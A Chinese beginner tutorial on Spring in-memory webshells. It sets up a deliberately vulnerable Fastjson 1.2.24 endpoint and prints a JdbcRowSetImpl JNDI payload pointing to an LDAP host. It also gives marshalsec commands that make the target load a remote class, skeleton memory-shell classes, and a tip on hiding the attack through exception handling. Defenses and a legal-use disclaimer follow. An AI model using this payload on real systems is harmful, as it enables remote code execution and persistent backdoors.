新手友好,spring内存马学习篇二
字数 907 2025-08-29 08:30:12
Spring内存马学习与实践指南(二)
1. Fastjson反序列化漏洞环境搭建
1.1 环境准备
在Spring Boot项目中引入Fastjson 1.2.24版本(存在漏洞的版本):
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
1.2 创建漏洞触发端点
创建FastJsonController控制器,提供POST接口用于触发Fastjson反序列化:
package org.example.springmemory.controller;
import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class FastJsonController {
@ResponseBody
@RequestMapping(value = "/FastJson", method = RequestMethod.POST)
public String test(@RequestBody String vul){
System.out.println(vul);
JSON.parseObject(vul);
return vul;
}
}
1.3 测试漏洞
使用JNDI注入工具和以下payload进行测试:
POST /FastJson HTTP/1.1
Host: localhost:8080
Content-Type: application/json; charset=utf-8
Content-Length: 273
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
"autoCommit":true
}
}
2. Controller内存马实现
2.1 内存马类编写
创建ControllerMemory类,直接在类中编写恶意代码(不使用内部类):
// 示例代码结构(具体实现需根据实际需求)
public class ControllerMemory {
static {
try {
// 恶意代码实现
} catch (Exception e) {
e.printStackTrace();
}
}
// 执行方法
public void exec() {
// 恶意操作实现
}
}
关键修改点:
- 将执行方法直接放在本类中
- 静态代码块中实现注入逻辑
- 确保类名和方法调用的一致性
2.2 部署与执行
- 将编译后的
ControllerMemory.class文件放在可访问的HTTP服务目录 - 使用marshalsec工具启动LDAP服务:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://your-ip:port/#ControllerMemory 9999 - 发送精心构造的Fastjson payload触发漏洞
3. Interceptor内存马实现
3.1 内存马类编写
创建InterceptorMemory类,继承HandlerInterceptor:
public class InterceptorMemory implements HandlerInterceptor {
static {
try {
// 注入逻辑
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
// 恶意操作实现
return true;
}
// 其他必要方法...
}
3.2 部署与执行
- 将编译后的
InterceptorMemory.class文件放在可访问的HTTP服务目录 - 使用marshalsec工具启动LDAP服务:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://your-ip:port/#InterceptorMemory 9999 - 发送精心构造的Fastjson payload触发漏洞
4. 关键注意事项
- 版本选择:必须使用存在漏洞的Fastjson版本(如1.2.24)
- 类加载机制:理解Java类加载机制对内存马实现至关重要
- 异常处理:妥善处理异常避免暴露攻击行为
- 路径问题:确保内存马类文件可通过HTTP访问
- 调试技巧:遇到问题时通过debug定位问题原因
5. 防御措施
- 及时升级Fastjson到最新安全版本
- 限制反序列化的类白名单
- 监控异常的JNDI请求
- 实施严格的输入验证
- 使用安全产品检测内存马行为
6. 参考资源
- Spring官方文档
- Fastjson安全公告
- Java反序列化漏洞研究资料
请务必在合法授权环境下进行相关测试和研究,遵守法律法规。